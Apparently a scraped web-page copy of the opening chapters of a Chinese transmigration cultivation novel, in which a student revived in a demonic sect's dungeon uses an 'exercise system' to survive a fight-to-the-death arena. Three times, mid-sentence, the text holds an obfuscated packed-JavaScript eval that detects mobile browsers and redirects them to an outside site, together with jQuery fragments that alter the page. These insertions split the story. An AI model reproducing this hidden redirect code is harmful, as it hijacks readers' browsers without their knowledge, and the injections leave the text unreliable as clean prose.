《我带着运动系统制霸修真界》 1. 逃杀 “那位的意思是,这些人都杀了吗?” “是。”男人转身离开地牢,“除了……你知道的那个人。” 几个不显眼的黑衣人进入地牢。一个被囚禁的女修昏沉地靠着墙小憩,直到发现身旁的男子散出古怪的气味,才发现他已经死了很久了。 她还未说出那句“杀人啦”,自己的脖颈已缓缓裂开,像一柄悄无声息的刀锋似的阻断了她的行动。 * 崔羽落睁开眼,视野中却是浓郁的黑。血腥味充斥鼻腔,耳畔传来金属撞击的声音。 她眨了眨眼,视野中的墨色渐渐变浅。她正趴在地上,手触及到一片黏腻的液体,身边躺了几个不认识的人。 液体是血,人则是死人。 地牢中刀剑乱舞,人影混乱。 她于角落里坐起身,拾起一边掉落的刀作为防身武器,随后大致检查了一下这具身体。没有明显伤口,只是沾了些不属于自己的血。除此之外,肌肤健康,身形修长,很像她原本的身体。 崔羽落抖抖袖口,看到手腕上熟悉的痣,扯动嘴角,无声地笑了笑。 ——一分钟前她在校园骑自行车被撞飞,还没死透就身穿了。 身穿的好处是这身体她很熟悉,坏处则是在这看起来群魔乱舞的世界她只有一副凡人之躯。 她抬了抬脚,轻轻跳了两下,又小幅度地挥了挥手中刀,无事发生。她还是她,没有觉醒什么金手指。 有人注意到她,身形一晃而至,锐利剑锋裹挟着风声,不由分说地落向她脖颈。电光石火间她眼前剑芒一闪,下意识地提刀格挡,脑海中却不合时宜地出现了一个声音。 【宿主你好——】 “铮”的一声,刀剑相击,她被那力道逼退几步,手腕又痛又麻,险些拿不住刀。 “我不好!别说话,有人在砍我!”还未站稳,第二道剑势已至,她迎着攻势,矮身翻滚向前,堪堪与那剑错身而过。随后她拔腿提速,奋力逃跑,力求多活一会儿。 身后脚步声不见了,大概是那人去砍别人了。她余光瞥见地牢中血肉横飞,刀光剑影,场面混乱至极,只觉浑身血液上涌,头皮发麻,唯有两条腿仍机械而执着地向前跑。 ——说不定能出去呢? 她渐渐减速停下,不是因为发现这里已经没有人了,也不是因为她体力不支,而是她发现自己似是到了地牢尽头。 除了她来时的路,其他三面均被高墙围绕。周围没有站着的人,此地看上去居然算得上“安全”。墙下则有个一动不动伏在地上的身影,那是个趴在地上的人。那人察觉到她这不速之客,并未有什么反应,仍半死不活地趴在地上,也不知是伤得太重还是懒得搭理,或者是其实这人已经死了。 崔羽落看了看那人,双手扶膝,弯腰喘气,心想:千不该万不该,不该骑车刷校园跑。自己一个拐弯被飙车的司机撞飞不成,还穿到了这么个鬼地方。 【宿主你好,你已绑定运动系统,接下来描述你的任务:】 她感受着喉咙处的血腥气,有点想笑,但正忙着把气息喘匀的身体一点也笑不出来。 【你需要完成每日运动以维持生命值,生命值高于60,你可以进行正常活动,生命值低于60则会根据具体情况丧失部分行为能力。】 【生命值低于20时会进入休眠状态,若无外界措施,处于休眠状态之后生命值会逐渐降低,低于5时判定为死亡。】 【检测到宿主当前生命值为70,状态良好,继续努力。】 “每日运动?” 【运动行为可以增加活力值,每日需至少获得100点活力值以保持生命值不降低,第二天活力值清零。】 【检测到宿主当前活力值为30,还未达标,再接再厉。】 “你是谁?”身后响起一个女子的声音,不待崔羽落转身,疾风乍起,光影浮动,一道符咒便要落在她身上。 暗暗吐槽一句“怎么又来”,她发觉那符咒太快,提刀去挡眼见来不及,从那墙角却忽而闪过一道不显眼的浮光,迎上了那符咒的力道。两道符咒对冲,一方汹涌如潮,另一方轻盈如风。 那来自墙角的力道在与另一方触及的一刻轰然溃败,术法不可阻挡地击中崔羽落。 她在那符咒作用下浑身力量瞬间散去,失去了支撑的躯壳无力地倒在地上。 那女子缓缓向前走去,越过了她,直走向那墙角的人。那人咳了两声,似是法术被断,伤势更重。 听着女子的脚步声,崔羽落发现四肢渐渐有了力量,但她看着那女子,并未行动。 那女子看起来对她并不友好,但大概也不想取她的性命。而墙角半死不活的那个人应该伤得很重,不知道什么原因被关在这里。 至于她自己,在这里待着也不是不行,但眼下的情况还是不太适合继续待下去了。 她得先活着,再想办法逃出去。 “系统,我有没有什么金手指之类的东西啊?” 【有的宿主,有的。你在获得每日的基础活力值后,继续运动可以提升修为。】 “修为?” 【具体来说,会短期地提升你的抗性和血量。虽然增益为短期增益,但只要宿主坚持运动,短期增益也可以转化为固定增益。】 “那……有没有现在可以马上起效果的增益呢?” …… 那女子在墙下走了一圈之后回到崔羽落身边,伸手探了探她的脉,只见此人并无特别之处,体内灵力几乎没有。 她自言自语道:“看上去像个凡人,但魔宗地牢里怎么会有个凡人呢?这其中大概有蹊跷,还是得小心一点。” 随后她双手捏诀,准备先让这人毫无知觉地睡几天,却发现自己的袍袖被人扯了扯,地上少女略微侧过头,有些虚弱地叫道:“姐姐。” 少女看上去十八岁上下,面色有些苍白,柔软的碎发落在窄窄的脸侧。她轻抿着唇,有些害怕的样子。 女子心一软,犹豫了一会儿,手中咒诀迟迟不放。 “姐姐,我方才受了伤,你能扶一下我吗?” 见她仍在犹豫,崔羽落挣扎着坐起身。却见那女子神色一凛,手掌一翻,口中念了句“清醒一点”,一道咒诀便自手中飞向崔羽落。 顷刻之间,身影移动,咒术落空。与此同时一记手刀落在女子脖颈,她失去意识跌落在地。 【宿主消耗生命值,短期提升攻击力和防御力。交易成功,当前生命值为60,增益效果持续时间剩余一刻钟。】 脑海中话音刚落,身后疾风划过,显然是有人趁机偷袭。 一波未平一波又起。崔羽落却并不闪避,只是静静地站着,无鞘的刀垂在身侧,背后长发已被剑风惊动,轻轻地扬起。而攻击者急速迫近,染血剑尖一马当先,已距她不足一尺。 半尺、三寸、两寸—— 在剑尖堪堪碰到她背后衣衫的时候,她忽然转身发力,抬手出拳。 袭击之人只感受到一股大力轰然落在自己胸口,随后向后飞出数丈,灰头土脸地落在地上。他吐出一口血,捂住自己的心口,数着肋骨断了几根。 “抱歉,”崔羽落揉了揉手腕,淡淡道。 她缓缓走近那袭击者,素白修长的手中提着一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380820|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染血的刀。 “告诉我出去的方法。” “我只是奉命行事,至于如何能出地牢,我不知道。” 刀锋抬起,其上的血腥味冲入二人鼻腔:“不知道么?” 墙角却传来一个虚弱喑哑的声音:“我知道。” 崔羽落打晕了眼前人,循声走去。直到离这人只有不到一丈,她终于看清了这人的全貌。 这人约莫十七八岁,一身染血素衣勾勒出少年清瘦的身躯。崔羽落在看到他的一身血后愣在原地,却见那人十分吃力地坐起身,仰头看着她。 “方才你那一招,叫什么名字?” “你大概没听过,”崔羽落蹲下身,“我那一招,名叫弓步冲拳。” 那少年无声地笑了笑:“确实没听过。” “你说你知道怎么出去?” “是。” “怎么?” “魔宗的人进地牢有一道门,但那道门是通往魔宗的,并非通向外面。况且一路有人把守,容易惊动巡逻的人,不好出去。” “那有没有好出去的路?” “有的。”少年忽然开始咳嗽,他抬手用袖子掩着口鼻,再放下手时,崔羽落看到那袖口干涸的血迹上又叠了一层新鲜的血。 他缓了缓,继续说:“围住地牢的不仅有围墙,还有看不见的结界,当有人试图破开结界,守卫的人就会感知到,并且及时赶到。” 崔羽落皱了皱眉:“那怎么可以出去?” 少年看着她:“从结界内到结界外,除了直接破开结界,应该还有其他术法。” 崔羽落心道:就算有其他术法我也不会使啊。不过在游戏里,优先级高的技能机制可以凌驾于优先级低的机制之上,就像游戏中技能形成的墙壁,除了打破它,还可以使用优先级高的技能直接无视它而产生效果。 但是她对于这个世界的“技能”并不了解。 “嗯……那你知不知道,有没有可以直接从这里传送到外面的术法?” “传送?” “我的意思是说——” “我明白你的意思,”少年顿了顿,“可惜我现在灵脉已毁,法力微弱,不能帮到你。如果你信我,或许我们可以一起试试,在这里搭起通往外面的传送阵。” “如果我信你?”崔羽落从上到下打量着他,“可是我对你分明完全不了解,又拿什么去信你呢?” 谁知道这人是不是有什么坏心眼。增益时间大概快结束了,到时候她只是一介凡人之躯,再要反杀恐怕会很困难。 “如果我说……”少年垂着眼,“算了,这还不足以让你信我。” 他看着崔羽落手中的刀:“如果我图谋不轨,你就用它杀了我。” 崔羽落无声一笑。 “杀了你?你没有和其他人关在一起,而是被单独关在这里。里面正在进行屠杀,你却不被波及。看血迹,你受伤大概不是很久,却恢复得不错,可见有人在给你治疗。”她听到身后那女子起身的声音,继续说,“所以关着你的人并不想让你死。既然如此,我要是杀了你,怕是马上会被追杀,下场凄惨吧?” 她转头看着那女子走向自己这边,却听到少年很轻很轻地说了一句话。 “如果我说,我知道你是谁呢?” 眼前黑衣墨发的少女微微侧过脸,精巧的鼻梁在脸上投下阴影。 “哦。” * 地牢中刽子手手起刀落,却被一拳打飞数丈。 劫后余生的女修睁开眼,看到一少女提刀而立,身形修长,神色冷峻。 “想出去的跟我走!” 2. 生死 崔羽落看着众人一个一个地进入法阵,一旁女子盘膝而坐,法力自指间流泻而出。 直到最后一个人走了出去,崔羽落拉起那女子,看向席地而坐一动不动的少年:“你不出去吗?” 少年摇摇头:“你也说了,他们并不会杀了我。” 女子拉了她一把:“法阵快消失了,快。” 二人向前一步,片刻后华光流转,她们并肩出现在一个陌生的地方。深色天幕上圆月高悬,映出周围重获自由的年轻男女以及随风摇动的青葱草木。 崔羽落环视周围,左手紧扣着刀把,扬声道:“魔宗的人很快就会发现我们跑出去了。此地不宜久留,各位还是尽快找个安全的地方待着吧,有缘江湖再见。” 周围人道了谢,纷纷离开。万叶千声中,只留下崔羽落和那女子。 女子看着崔羽落长呼一口气,看上去很是迷茫的样子,全然不似方才的果断,问道:“你刚才为什么要救他们,你就不怕他们之中有穷凶极恶丧心病狂之人,出了地牢又去祸害他人么?” “我不知道。”崔羽落垂着眸,语气很轻,像是很疲惫。 “啊,”女子看着她,语气柔了下去,“我就是有些好奇,没有质问或者责怪的意思。我先前听说,魔宗时常抓一些少女少男,来吸收他们的精气去修炼邪功,方才地牢里的那么多人,看上去都年纪轻轻,大概就是要被用于练功了。你若是不放他们出去,我也会这样做的。” 整了整衣裙,她好奇道:“你是哪个宗门的弟子吗?” “我不是。你呢?” “我么,”女子笑了笑,眉眼弯弯,“现在不是,不过以后大概是的。过段时间我想去如今的天下第一大派玄昭门,参加一下他们的入门试炼,你要不要一起啊?” 崔羽落心想自己反正也没有身份,做宗门弟子包吃包住,人身安全也有保障,算是个不错的去处,便答道:“可以呀。不过……方才你不是会法术么?” “这个啊。几年前我到处流浪,遇到个人,要当我师傅,然后就教了我一些法术什么的。不过后来她突然跑了,留下一封信让我坚持除魔卫道,再去找个正经宗门好好修炼。” “那你也是被魔宗抓到了,然后被关进地牢的吗?” “是也不是。”二人一起往前走着,“其实我是故意被抓进去的,因为我要除魔卫道嘛,那不得看看那些所谓的‘魔’到底是什么样子。要是顺便能救几个被魔宗害了的人,就更好了。” 崔羽落愣了一下,想说句称赞的话,几句话轮番到了嘴边,最后留下一句:“姐姐真是侠义心肠。” 她有些懊恼自己的嘴笨,却见那女子哈哈地笑了笑,很是受用的样子。 “那我们先去附近的镇子上吃点东西,在地牢里待了这么多天,真是饿死我了。”女子从怀里拿出一柄木梳,梳了梳胸前有些凌乱的长发,“对了,我还不知道你的名字呢,不知妹妹可愿告诉我?” “当然可——” 身后忽然感受到一阵凉意,令人毛骨悚然。一个低沉的声音从远处传来:“追。” “这么快!不会是前面那个人把我们卖了吧!”女子拉了一把崔羽落,“快跑!” “那边!前面那些人去左边,我们走另一边!” 二人拔足狂奔了不知多久,崔羽落感到身体各处的神经正在叫嚣,但听着身后的脚步声,又丝毫不敢松懈。 她暗暗吐槽:在学校天天累死累活地校园跑,偶尔投机倒把一下却直接穿越了,穿越就穿越,可为什么穿进来还要跑步! ——而且有着威胁到生命的速度要求。 她听着自己和身边人越来越急促的呼吸声,一边拼命迈动双腿,一边观察周围情况以见缝插针地来个急转弯迷惑身后之人。 她发觉双腿已经开始有些发软了,却不合时宜地走了神。 ——要是体测的时候也有妖魔鬼怪在后面追着,那大家的成绩怕是都会高得离谱。 【宿主你好,恭喜你今日的活力值已达标,请再接再厉,继续保持良好状态。】 “……” 二人又跑了许久,渐渐地,脚下的土路变成了石砖铺成的规整道路,两侧的田园风光也变成了一片漆黑诡异的丛林。 身后的脚步声不见了,但前方的路也不见了,取而代之的是张牙舞爪奇形怪状的树枝。 崔羽落从腰后解下刀,准备强行开路。身边女子却声音沙哑地说了句“我来”,便使了一道法咒,凭空腾起火焰,漫向眼前的枯木。 火苗在夜色中逐渐扩大,崔羽落看着火焰,忽然道:“不对。” 火焰虽逐渐变大,但那奇怪树枝却在灼烧中毫发无损。 她的心跳得极快,连带着呼吸都带了几分凌乱。 她回头看向来时路,发现来路已被那怪异枯树封死。此刻二人被这古怪的树枝包围,无路可退亦无路可走。但更糟糕的是那树枝正在缓慢地向中心延展,索命的魔爪似的探向二人。 崔羽落挥刀劈向离二人最近的树枝,却被重重弹开,如同劈在了铜墙铁壁上。 一个声音从远处响起:“倒真是顽强。” 随后二人眼前景象骤变,怪树顷刻间无影无踪,取而代之的是与魔宗地牢相似的场地,周遭声音嘈杂,漫着浓烈的血腥味。 女子环视周围的众人,脱力般地跌坐在地:“好像……有些麻烦。” 崔羽落同样瘫坐地上:“你知道这是什么地方吗?” “我知道,”女子压低声音道,“先前那个地牢里关着的是魔宗抓去用于吸收精气修炼邪功的人,这个则是他们用来选拔弟子的修罗场。” 崔羽落想了想,疑惑道:“意思是说,一堆人在这里互相打架,活到最后的就能成他们的魔修?看样子这里的人大概已经经过挑选了,那死掉的那些人会不会有些浪费?” “浪费?” “这些人的体质应该比那个地牢里的好得多,既然如此,若是能用这些人修炼,岂不是效果更好?若是这样白白死了,那不就是浪费了这些体质良好的人?” 这回轮到那女子愣住了:“呃……我觉得你说的很有道理。不过,外面的人只知道修罗场除胜出者以外都死了,但并不知道是怎么死的,会不会其实有很多人并没有直接被杀死,而只是受了重伤呢?真正夺了他们命的,是魔宗吸走他们精气去练邪功。” “会不会魔宗有什么办法能让受了重伤的人并不马上死去,而是想办法先吸走他们的精气,再让他们死掉……” 有一个沉沉的声音忽然响起,压下了所有的声音—— “你们一百人中,只能有一个人站到最后。” “其他人都会被杀死。” “杀了其他人,活到最后。” 地牢中忽而鸦雀无声,众人不约而同地怔住,暗自揣摩着那三句话。 忽然有一人拔/出手中剑,扎进身旁方才与他说话之人的胸口。随后,如同一石激起千层浪,更多人拔/出了手中兵器,刺向周围人。一时金属碰撞声和叫喊声此起彼伏,越来越多的人带着一身狰狞伤口倒在地上,地上干涸的血迹被新的血液覆盖。 女子从袖中拔/出匕首,崔羽落手握长刀,击落掷向她的短剑。 她先前一路狂奔,已然体力不支,在混乱战局中,作为战斗小白的她左支右绌,全力格挡住一柄大刀后,凭直觉侧步躲避了一把长剑的攻击,却因为脚步不够灵活,那剑锋自她左肩划下,伤口横亘至后背中部。 崔羽落顿觉自己全力聚起的力量飞快地自那伤口向外流失,被血浸透的衣衫粘在她的后背上,仿佛重逾千钧,压得她喘不过气。 “哐当”一声,手中刀落了地。 她脸色惨白地跪坐在地,登时又有一人乘胜追击,一剑刺向她心口。她眼前发黑,失神地想:我要死了。 那剑却没有将她贯/穿。 周遭光华流转,以她和刚刚赶来的女子为中心腾起结界。她抬眼看向那女子,只见她单手捏诀升起结界,另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380821|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手伸向她。 她握住那只手,发现自那只手上,一股纯净的灵力汇入她的四肢百骸。周身的疼痛感奇妙地淡了下去,流失的力量重回体内,在浑身经络中潺潺流动。 用另一只手提起刀,崔羽落借力站起,却听见清脆的“咔咔”几声后,那结界碎裂开来,刀刃与杀机挤了进来。有人力竭倒下,有人浴血挥刀纵剑,崔羽落将刀刃划成弧线,格下几柄刺向她们的利刃。 身旁女子将手中匕首刺入面前之人的脖颈,鲜血喷涌而出,染上她苍白的脸。 崔羽落只作防守,并不进攻。但被她拦下的刀剑还会再次刺向她,被她击退的人还会再次尝试索她的命。 杀人这个词,对她来说太过遥远,也太过残忍。 她不想杀人,她只是想活下去。可是—— 又有一把重剑劈向她,她侧身堪堪躲过,下一招已然落下。发酸的腿仿佛不属于她自己,她只得提刀格挡,却被那强悍力道重重击退。 后背撞在石壁,粗糙尖锐的石头割着她还未愈合的伤口,剧烈的痛楚使她意识模糊,她只觉得自己身在幻境,一点都不真实。 ——可是她的力量会衰竭,她的刀会卷刃,她的血也会流干。其他人只要不死,就如百足之虫死而不僵,能一直用手中利刃挥击向她。 她不可能永远拦下那些攻击。 又一把刀劈砍向她,她屈膝侧身,左手成拳攻向那人小腹,那攻击者却好似浑然不觉,只是义无反顾地将弯刀斫向崔羽落的脑袋。 崔羽落忽而挥刀,同时提膝侧踹。那攻击者踉跄倒地,鲜血汩汩地自颈间血管涌出。 周遭群魔乱舞,她一次次地闪避,一次次地挥刀,于利刃的缝隙里送出自己的朴拙刀锋。 恍惚间,她听见了一个熟悉的声音。 是那女子。 她神色一凛,硬生生劈开一条路,到了那女子身边。 这回换了她伸手向地上的女子。但没有人抓住它。 女子一身血,分不清哪些是别人的,哪些是自己的。 崔羽落跪坐在她身边,握着她冰凉的手。 “我就是……睡一会儿。等我醒了……我们一起出去,去个大宗门,去……行侠仗义……” 她微微开合的嘴静默了。 崔羽落呆呆地坐在寂静中,好似过了很久很久。 那寂静中渐渐生出一点其它声音,她猛然扭身,将刀锋刺进身后偷袭者的腰间。 不知过了多久,她身上也沾满了血,刀锋数不清第几次地划开旁人的身躯。她再次双手握刀向前突刺,刀锋没入敌人腰腹,但这次她已无力拔出那把刀。 她握着刀把,被倒地的敌人带着下坠。 视野发黑,耳畔却异常安静,她仿佛再也听不到任何声音。直到一把剑刺入她腰间,冰凉的金属刺激着温热的肉/体,使她的意识略微清明,但她已无力作出任何反击了。 剑锋自身躯拔/出时,她无力地跌落在地,仅存的意识随血液流逝。在一片寂静的黑暗中,她枯槁苍白,如千疮百孔的孤魂野鬼。 她在混沌中不知待了多久,久到以为自己被阎王忽略了。这时,周遭却蓦地光亮起来,她被不知什么东西从地狱拉回人间,一个声音自她刚刚复苏的脑海中响起。 【子时到,活力值清零。】 【恭喜宿主,前一日活力值达1000点,超出标准值的部分即将转化为今日增益。】 * 黑袍男子缓步走入血海,目视着眼前唯一站立的青年男子,勾唇一笑。 “恭喜你,站到了最后。” 青年男子扶着长剑,哑声道:“多谢——” 自另一个方向,忽然传来一个少女的声音。 “还没有结束。” 黑袍男子与青年循声望去,却只看到了一片一动不动的躯体。 渐渐地,有一片堆叠的躯体动了动,一个少女缓缓从中爬起,手提长刀,浑身染血,眼神却坚硬如铁。 3. 嫁衣 崔羽落提刀缓步而行,走到那同样浑身染血的青年面前。她停下脚步,微侧过身,双手握刀,缓缓抬起。 刀身沾满了血,刀锋却亮如寒霜。 青年面无表情地看着她,半晌,他忽然提剑突刺向前,像伺机而动的兽。 崔羽落抬刀与剑相击,力道相撞,二人同时退了半步,随后青年再次向前,以崭新的力量灌入还未卸下的剑势,长剑以与刚才一模一样的姿态攻向崔羽落。 崔羽落横刀格挡,那剑锋却顷刻回转,以一个极其刁钻的角度斜刺向她。 系统的增益使她的反应和动作快了数倍,她目光沉静,身形一晃,与斜刺的剑锋擦肩而过,手中刀径自往前,直劈向那青年的颈侧。 青年显然是个战斗老手,他手中剑行云流水般地黏上崔羽落的刀势,霎时,刀光剑影如狂风骤雨,金属相交时爆裂出炫目的光影。 十几个回合下来,青年从容不迫,剑锋如水,无处不在且绵绵不绝;崔羽落见招拆招,刀势如风,灵动迅疾但力道刚烈。 青年一套剑招行将结束,剑势却悄然变了。先前柔韧绵长的剑招渐显凌厉诡谲,如同积水成渊,自深不见底的洪渊内骤然腾起铺天盖地的灭世之洪。先前酝酿的剑势在此刻凝为一股汹涌磅礴的力量,劈头盖脸地顺着一道道凛冽剑气降落。 崔羽落在猛烈攻势下勉强防御,但那力道过于强悍,迫使她后退数步,眼见就要退到墙边,再无路可退。 就在此时,她后退的脚步落在地上还未干涸的黏腻血迹之上。她只觉蓦地一滑,足下不稳,身子一歪,即将跌落在地。而眼前剑光一闪,她于电光石火间,在“保持平衡不摔倒”和“连滚带爬地挡剑”之中做了抉择。 “当”的一声,她挡下眼前气势逼人的剑。但与此同时,她下盘失了平衡。即将跌倒在地的时候,她伸手在地上一撑,核心收紧,借势向前。一个潇洒的侧翻后,她稳稳落地。 脊背却忽然感到冰冷,她侧眼,青年无声地站在她身后,手中剑正指着她的后心。 避无可避,灌满了内力的剑向前,即将没入她的背脊。 但预想中的疼痛却没有到来。 在剑锋触及她身躯的那一刻,自她四肢百骸中,一股强大灵力悄然凝聚,而后自行地流向外界。它们并未离开,而是在她的躯壳与外界之间,形成一道坚不可摧的盾,将她整个人包裹其中。 剑气在触及盾的一刻,如同撞在铜墙铁壁之上。青年只觉一股汹涌力道自手中剑轰然袭向自己,身躯不受控制地向后飞出。他面露惊诧,但片刻后调整姿态,聚集剑势便攻向同样惊诧的崔羽落。 崔羽落心道:原以为增益是增加攻击力,现在看来,增益原来是护盾效果。 她余光瞥见青年已挺剑向自己突刺而来,却并未行动。 等待下一次护盾效果时,她转念想:万一下一次不生效了呢,那我岂不是要被一剑贯心? 青年不顾一切地攻向崔羽落,但他心知这只是幌子。真正的剑意不在剑上,而在虚空。无形无色,无处不在,只待崔羽落全力防御那看似锋锐的剑招,其余的空门便会被他无形的“剑气”趁虚而入。 他看着那少女缓缓抬手,作格挡之势。下一刻无形有质的剑气骤然凝固,从无数个角度侵袭向对方。 但他再次失败了,剑气被一股坚如磐石的力量击落。他却忽然长剑一振,将四散的剑气再次凝聚,合力一处,直指向前。 眼前少女却微微一笑,伸出一只沾血的手。 灵力大盛,时间在他眼中忽而变得缓慢,而在被拉长的瞬间里,那只手迅速成拳,朴实无华地直击他的胸口。 千钧力道自他胸口炸开,他转眼失去了意识。 一直站在暗处的黑袍男子拍了拍手:“很好。” 一群身穿黑衣的人如鬼魅般流进地牢,有序地分散至各处站定。黑袍男子行至中央,抬手时暗色光芒流转,沿着那些黑衣人站立的位置渐渐升起与他手中相似的暗芒,诡异地流动起来。 看着自那些倒地之人升起了红色光影,像是响应某种召唤,渐渐汇入那缓慢流动着的暗流,崔羽落心中渐渐有了猜测。 果然是要将这些人的精气全都吸食殆尽,再伪造出互相厮杀至死的假象。 她注视着那血色流淌的轨迹,发现它们先自支流汇入几个枢纽,再自那些枢纽汇入阵法中央。 而那黑袍男子正站在阵法中央。 几个“枢纽”的位置则站着几个黑衣人,他们双手结印,全力维持着阵法的稳定。 黑袍男子闭目享受着力量汇入自己灵脉的过程,却忽然察觉到了一点怪异。像是那汇来的灵气沾染了一些浑浊的妖邪之气。 他冷哼一声,心想:从所谓名门正派抓来的人中,居然有如此浓重的妖邪之气。 所幸他自己修的并非排斥妖邪的正道,因此他只是皱了皱眉,便继续享受着吸食灵气的过程。 但下一刻,他发现阵法似乎乱了,原本缓缓流动的灵气变得杂乱无章,使他的灵脉感到了些许不适。 他睁开眼,发现阵法的几个关键点位上,原本站立的人已神志不清地倒地,但其他位置的黑衣人在阵法作用下,仍然无知无觉地结印,如同傀儡。 他指间泛起暗色光芒,口中喝道:“停。” 周遭黑衣人恢复神智,而他注视着眼前提刀的少女,后退一步:“杀了她。” 十几把佩剑出鞘,井然有序地攻向崔羽落。 崔羽落只有一把刀,显然不能同时挡下这么多直取她性命的剑。 但她不动如山。 十几道剑锋刺向她,却骤然被一股力道弹开。 黑衣人没有因此而惊慌,而是训练有素地再次酝酿起攻势。 剑影缭乱,十几道迅疾的黑影如鬼魅。而崔羽落站立其中,不作防御,只是自剑锋的缝隙里出刀。剑锋落在她的身体上,就像落在了坚实铠甲上,而她毫发无损。 崔羽落被一掌击中胸口,只是微微退了一步,随后借力旋身,刀锋轻盈划过黑衣人咽喉。 十几个黑衣人已渐次倒下,她咽下一口上涌的血水,注视着黑袍男子。 “你已是强弩之末。”他声音低沉,“你伤我属下,我本该立刻取你性命。但你天赋异禀,又让我生了些惜才之心。” 崔羽落眼前发黑,但强撑着身躯,仍腰背挺直,目光冷漠。 “做我的徒弟,与我一起,开启一个新的时代。” 远处传来灵力流动的微波,同时有多人的脚步声传来。声音离二人越来越近,在死气沉沉的地牢中回响。 崔羽落听着远处的动静,扯了扯嘴角:“是么?可是我们好像没有那个缘分了。” “这里设了机关和结界,你以为有人会来救你吗?我告诉你,那都是徒劳。” 暗暗吐槽了一句“果然反派总是自以为是”,她轻声道:“你说是就是吧。” 距离二人数丈处光芒大盛,传送阵光芒流转,身着长袍之人从中鱼贯而出。 为首的一名女修手持长剑,英姿飒爽,目光落到黑袍男子身上,身形一动,剑光直指黑袍男子。 那黑袍男子眼眸一沉,转身遁入黑暗。长剑穿透黑影,原地只留下了一缕血色。 崔羽落终于支撑不住,跌落下去。 但她没有摔在地上,而是被一个人接住了。 眼前人的轮廓一闪而过,她眼前一黑,彻底失去了意识。 * 再次醒来时,她躺在床上,苦涩的药味扑进鼻腔,让人有些晕眩。 周遭没有别人,她坐起身,却见先前那名女修走入房间。 “好些了吗?” 崔羽落点点头,感觉嗓内不畅,咳了两声:“这是在哪里?” 女修目光柔和:“安全的地方。” “那……地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380822|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢里的其他人呢?” “都已经被安置好了。” “……多谢。” “有什么谢的,”女修笑了两声,“你方才表现得很好,如果你愿意,可以参加三个月后玄昭门的入学试炼。” 崔羽落觉得自己大概是还没恢复好,脑子转不过弯:“……啊?” 女修从袖中取出一件物品,递了过来:“这是参加试炼需要的通行令牌,你保管好此物,便可直接参加试炼了。” 崔羽落接过令牌,觉得脑海中问题一箩筐,挑不出先后,口中却道:“喔。” 女修笑了笑:“我姓叶,门中还有事,先就此别过了,三个月后见。” 崔羽落看着那女子潇洒离开的背影,尝试思考。但不待她思考,一个男子脚步轻快地停在门口,敲了几下门。 “姑娘,醒了吗?” 她只得应道:“醒了。” 男子进了门,坐在离她不远处。他身着蓝色窄袖长袍,面容年轻,眉眼间却挂满了欣喜的神色。 崔羽落不知道他为什么如此高兴,坐在床上等他先开口。 “姑娘,不知可否一问,你是何门何派,何方人士?” 崔羽落实话实说:“没有门派,无业游民。” “那敢问姑娘家住何处?” 她摇了摇头,声音有些低沉:“我没有家。” “啊……是我冒昧了。” “没事。” “那姑娘接下来有何打算呢?” “……没有打算。” 男子听到回答,从袖中拿出一张纸,走过来递到崔羽落手中:“姑娘,你看看这上面的内容。” 崔羽落看到上面写的,无非是每月有多少灵石,以及提供几次灵池使用次数之类,她看不太懂,正准备问那男子,却看到了靠下的一行。 “每月五两银。” ——这是在和她谈薪吗? “姑娘可否满意?” 崔羽落不太理解:“那我的工作内容是什么呢?” 男子略微一顿,说道:“是这样,我家公子前段时间伤了身子——” 下面的话她没有听到,因为脑海中系统的声音不合时宜地出现了。 【宿主你好,当前活力值为0,前一天多出的活力值已转化为生命值,当前生命值为100。】 【温馨提示,距离下一日还有三个时辰,当前活力值过低,请宿主注意。】 “——姑娘身手矫健,正是我们需要的。” 男子目光灼灼地看着崔羽落。 崔羽落问道:“意思是说,你家公子是个脆皮法师,需要一个我这样能扛能打的人和他组队,去打怪升级?” 男子愣了愣:“大概是的。” 崔羽落看了一眼那张纸:“好,我答应你。” 男子走出房间:“那姑娘准备一下,等一会儿会送新的衣服进来。” 崔羽落见房门关上,迅速卷腹起身。 【恭喜宿主,当前活力值为1。】 她穿鞋起身,站立不动,尝试以上半身做出跑步状。 心想:微信运动可以这样获得步数,但愿这里也可以。 系统毫无反应。 她只得拖着腰来腿不来的身子,在房间里来回快步走。 所幸房间不小,她不用频繁地转弯。 大概是因为先前受了伤且劳累过度,不一会儿她已是大汗淋漓。 她坐在床边,用袖口擦着汗。 【当前活力值为40,距离下一日还有两个时辰,宿主再接再厉。】 她长叹一声后起身,门却被人推开了。 “我们来帮姑娘更衣。” 崔羽落看着进门的两个女子,心中想着“换个衣服有什么需要帮忙的”,目光落在了托盘的衣服上。 她瞪大眼睛,说不出一句话。 ——那是一身嫁衣。 4. 双修 “这……不对吧?” 